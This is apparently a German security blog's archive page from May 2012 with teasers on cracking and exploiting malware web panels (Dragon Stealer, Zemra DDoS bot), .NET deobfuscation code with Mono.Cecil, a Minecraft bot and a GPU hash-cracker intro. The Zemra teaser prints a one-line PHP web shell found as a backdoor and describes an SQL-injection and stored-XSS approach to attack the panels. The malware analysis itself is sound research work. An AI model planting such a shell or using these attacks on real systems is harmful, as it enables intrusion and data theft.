Archive for Mai. 2012

Dragon Stealer - Cracked & Exploited

Dieser Stealer wurde vorgestern publiziert und ist zur Abwechslung mal nicht in .NET geschrieben, sondern in Delphi. Es wurden 3rd Party Tools verwendet um die Passwörter auszulesen und im Webpanel findet sich eine tolle XSS, aber alles der Reihenfolge nach.

Der Stealer ließt Passwörter aus allen gängigen Browsern aus und schreibt die Daten über ein PHP-Webpanel in die Datenbank. Dort können diese “Logs” sortiert und durchsucht werden. Zwar hat der Coder brav mysql_real_escape_string und htmlspecialchars verwendet, aber beim Eintragen der Logs vergessen auf XSS zu escapen. Folge ist dass eine XSS direkt in die DB eingetragen werden kann, genau so wird sie auch wieder ausgelesen.

Oft vertreten User die Meinung dass eine XSS lange nicht so schlimm wäre wie eine SQL-Injection, das ist leider in diesem Fall falsch. Über eine SQL-Injecten hätten wir nur Daten über INSERT INTO eintragen können, über eine XSS können wir die Session Stehlen, Logs auslesen und an uns schicken, eine folge von Requests von allen Logs schicken oder sogar Facebook Clickjacking betreiben…

Weiterlesen

11 people like this post.

Easy Minecraft Client / Bot - Open Source Release

Die letzten Tage und Stunden habe ich mit dem Schreiben eines Minecraft-Clients zugebracht. Entstanden ist eine Mischung aus Client und Bot, beides ist nicht vollständig implementiert. Die Features belaufen sich daher auf mehr oder weniger ein Minimum:

  • Handshake, Login, Keep-Alive
  • Empfangen von Prechunks und Chunks
  • Parsen dieser Chunks
  • Chat senden
  • Bewegung in der Minecraft Welt
  • Finden von beliebigen Blöcken, u.a. Diamant
  • Fliegen zum nächsten Diamant oder zum SpawnPoint

Das Problem des Minecraft-Protokolls ist folgendes: Es werden mehrere zu parsende Packets in einer Reihe gesendet, daher müssten ALLE Pakete geparsed werden um an Folgepakete zu kommen. Viele Pakete haben eine dynamische Größe und können daher nicht einfach “übersprungen” werden.

Im Internet gibt es genügend Informationen, besonders Hilfreich war die detaillierte Protokollbeschriebung einer fleißigen Community sowie der Leitfaden zu “How to write a Minecraft Client”. Das beiliegende Projekt ist komplett selbst geschrieben, es wurde auf Vorlagen wie z.B. den Uberminer verzichtet. Gerade das Paket-Handling hätte man eleganter über Delegates lösen können, aber ich war zu faul das alles nochmal umzuschreiben.

Weiterlesen

8 people like this post.

Easy Assembly Renamer - Release

Der Easy Assembly Renamer ist ein selbstgeschriebenes Tool um den #String-Stream in einer .NET Metadatei zu ändern und zu erweitern. Der #String-Stream beinhaltet alle (Parameter)Namen, Namespaces, Types. Dabei wird inn dem jeweiligen Type jeweils ein Offset auf den #String-Stream übergeben.

Das Tool wurde primär zur Analyse von verschleierten .NET Assemblys geschrieben, wie es u.a. beim Zemra-Bot der Fall war. So ist es ohne Rekompilierung möglich, die Namen der Methoden, Felder, Namespaces und Typen zu ändern. Nach einer sinnvollen Namensvergabe ist es leichter Zusammenhänge zu erkennen.

Das Tool ist Open-Source und arbeitet mit der Mono.Cecil Library. Die aktuellen Features belaufen sich auf ein Minimum, alles was gebraucht wurde ist drin. Natürlich kann das Tool aber jederzeit erweitert werden.

  • Automatisches Umbenennen von Namespaces, Typen, Felder und Methoden
  • Manuelles Umbenennen von Namespaces, Typen, Felder und Methoden durch sinnvolle Dialoge (siehe Screenshots)
  • MSIL-Code anzeige
  • Neuschreiben der Assembly, mit hoher Warscheinlichkeit dass sie weiterhin lauffähig ist
  • Dynamisch generierte Forms
  • Ganz gute OOP :D

Weiterlesen

12 people like this post.

Zemra Bot - Leaked, Exploited & Exposed

Der Zemra DDoS Bot wird z.Z. in diversen Foren für ca. 100 € verkauft. In diesem Post erwartet euch neben einer dreisten Backdoor ein unsicheres Panel und natürlich die leaked Binary. Dabei gilt wie immer: Der Coder hat zwar eine Menge Ahnung von dem was er tut, aber trotzdem bleibt es um Teil zusammen kopierte Malware. In diesem Blogpost werde ich aber vor allem auf die “Besonderheiten” aus programmtechnischer Sicht eingehen.

Falls wieder die Frage zu meiner “Moral” gestellt wird: Ich habe im Grunde nicht gegen selbst geschriebene Malware, wenn der Coder sie allein für sich benutzt. Aber ich habe nur etwas dagegen wenn diese verkauft wird. Und wer Malware für ca. 100 € verkauft sollte in der Lage sein sie und das Panel zu schützen!

Zuerst zu dem Backdoor und der SQL-Injection. Die Backdoor muss nicht zwangsläufig vom Coder sein, sie war eben in dem Panel dass mir zugespielt wurde. Dabei befand sich in dem “/system/”-Ordner, der u.a. die Settings enthält, eine command.php mit einer simplen Shell:

if(isset($_GET['cmd'])){echo "cmd"; system($_GET['cmd']);exit;}

Die command.php ist weiterhin in dem hochgeladenen Panel drin, nur als Warnung ;-)

Die SQL-Injection befindet sich in der gate.php, der Kommunikation zwischen Zombie und Controlserver. Da es doch viel Code zu erklären gäbe, beschränke ich mich auf die Theorie: Es wird zunächst ein Schlüssel mit dem Server ausgetauscht, dieser wird in Zukunft für die AES-Verschlüsselung verwendet. Nun wird in der Regel ein verschlüsseltes Packet mit Informationen gesendet, welche diese in die DB einträgt. Dabei werden die Werte nicht escaped, wir können also diese Kommunikation nachbauen und eine SQL-Injection durchführen.

Weiterlesen

15 people like this post.

Deobfuscation mit Mono.Cecil

Ein kleiner Artikel für den heutigen Abend. Es geht um das fixxen einer “String-Encryption” (eigentlich ein simples Encoding) mit Hilfe von Mono.Cecil. Dabei werden wir alle Methoden zu dieser String-Encryption-Klasse mit einem ldstr-Opcode ersetzen und dabei natürlich nebenher den String decodieren.

Die String-Encryption-Klasse besteht aus einem großen Byte-Array (XORed). Alle 59 statischen Methoden dieser Klasse beinhalten in etwa folgendes:

public static string smethod_16()
{
    return (string_0[15] ?? smethod_0(15, 313, 8));
}

Alle dieser Methoden liefern also string_0[X] zurück ODER wenn dieses NULL ist smethod_0(X,Y,Y). X ist in diesem Fall die “ID” des Strings, Y wird später besprochen.

Nehmen wir also an wir finden einen Call zu einer solchen Funktion, dann speichern wir die MethodDefinition (quasi die Methoden-Klasse unter Mono.Cecil) ab und übergeben diese unserer Funktion:

if (Globals.lstTypes[i].lstMethods[j].Object.Body.Instructions[k].OpCode.Code == Mono.Cecil.Cil.Code.Call)
{
String sTemp = Globals.lstTypes[i].lstMethods[j].Object.Body.Instructions[k].GetInstructionString();
 
if (sTemp.Contains("PrivateImplementationDetails"))
{                                
MethodDefinition MD = (MethodDefinition)Globals.lstTypes[i].lstMethods[j].Object.Body.Instructions[k].Operand;
 
String sTempDecoded = Utils.GetDecodedStringFromMD(MD, byte_0);
Globals.lstTypes[i].lstMethods[j].Object.Body.Instructions[k] = new Mono.Cecil.Cil.Instruction(Mono.Cecil.Cil.OpCodes.Ldstr, sTempDecoded);
}
}

Wenig übersichtlich, ich weis :D Auf jeden Fall gehen wir alle Methoden durch und prüfen ob diese einen “Call” Opcode enthalten. Wenn ja, so wird geprüft ob eine Funktion aus dem <PrivateImplementationDetails>-Namespace gecalled wird, wenn ja haben wir eine Funktion smethod_X(). Diese erhalten wir über den Operand des Call-OpCodes.

Unsere gefundene MethodDefinition (smethod_X) wird nun an die Utils-Funktion übergeben, zusammen mit dem großen byte-Array mit wohl all den Strings drin. Diese im nächsten Absatz besprochene Funktion liefert uns den decodierten String. Der eigentliche Methodenaufruf (call smethod-X) wird nun durch ein “Ldstr DekodierterString” ersetzt, also wird der dekodierte String direkt geladen, nicht durch die decoding-Funktion.

Zum eigentlichen Decoding. Diese Funktion ist schnell erklärt, es geht mehr um die Mono.Cecil-Funktionsweise:

public static String GetDecodedStringFromMD(MethodDefinition MD, byte[] Array)
        {
            int[] iParams = new int[3];
            for (int i = 0; i &lt; MD.Body.Instructions.Count; i++)
            {
                if (MD.Body.Instructions[i].GetInstructionString().Contains("call"))
                {
                    iParams[0] = (int)MD.Body.Instructions[i - 3].Operand;
                    iParams[1] = (int)MD.Body.Instructions[i - 2].Operand;
                    iParams[2] = (int)MD.Body.Instructions[i - 1].Operand;
                }
            }
 
            return  Encoding.Default.GetString(Array, iParams[1],iParams[2]);
        }

Vor dem eigentlichen Decode-Call werden 3 Argumente der Funktion übergeben (X, Y, Y) ;-) Diese werden ausgelesen, danach folgt die GetString-Funktion mit den ausgelesenen Parametern (Y) als Anfangsoffset und Länge. In Falle von smethod_16() wäre das ein Startoffset von 313 und eine Länge von 8 Zeichen. Und mehr macht die Utils-Funktion auch nicht. Und so leicht ist Mono.Cecil zu bedienen ;-)

Greez Easy

2 people like this post.

“Zwei mal die kreativen Crypter, bitte!”

Dieser Artikel wird sich mal wieder auf direktes .NET RE ohne de4dot und andere Tools beziehen. Mir wurden zur Malwareanalyse zwei Dateien zugespielt, welche mit jeweils .NET Crytern gepackt wurden. Da es sich bei beiden um besonders kreative Ansätze handelt möchte ich diese Absätze hier vorstellen. Ich darf die Files nicht veröffentlichen, aber ich denke die Funktionweisen der Stub werden trotzdem ganz gut vermittelt. ;-)

Beide Crypter sind für .NET, als auch für native PE Files geeignet. Das schöne an gepackten .NET Files ist, dass diese selten durch einen weiteren Obfuscator oder Packer geschützt sind. Zwar hätte man die Files auch einfach dumpen können, aber ich hatte keine Lust mir Malware einzufangen… Aber dazu später mehr, fangen wir doch sofort mit dem ersten packed File an:

Weiterlesen

9 people like this post.

Computeshader in C# - Vorwort zum Hashcracker

Das Nutzen von GPU-Power ist dank OpenCL, CUDA und DirectX 10.1 nichts besonderes mehr. Besonders ist allerdings, dass man diese Technerlogie auch von .NET nutzen kann.
Dieser Artikel wird eine Einführung in die Arbeit mit der GPU durch C# geben. Kentnisse über DirectX und HLSL (die Shadersprache) sind empfohlen, aber nicht wirklich benötigt. Im nächsten Artikel wird aus diesem vermittelten Wissen ein simpler MySQL 3.2.3 Passwordcracker entstehen.

Wir werden einen DirectX Wrapper verwenden, um Zugriff auf die dort gelagerte ComputerShader-Klasse zu bekommen. Dabei macht es nicht wirklich einen Unterschied ob SlimDX oder SharpDX verwendet wird, SlimDX gefällt mir persönlich besser. SlimDX ist ein Wrapper um viele DirectX 9-11 Funkionen und Klassen. Also enthält SlimDX im Grunde nur Typedefs und “Verlinkungen”, ein Wrapper eben. Daher können wir oft C++-Code 1 zu 1 übernehmen, nur beim Ressourcen Management muss man anders vorgehen, aber dazu später mehr.

Wie schon erwähnt wird Sourcecode zum eigentlichen Cracker erst in dem nächsten Post kommen, dieser Artikel deckt nur die notwendigen Grundlagen dazu ab. Da der Source des Crackers relativ komplex wird, habe ich mich entschieden die Posts aufzutrennen.

Weiterlesen

4 people like this post.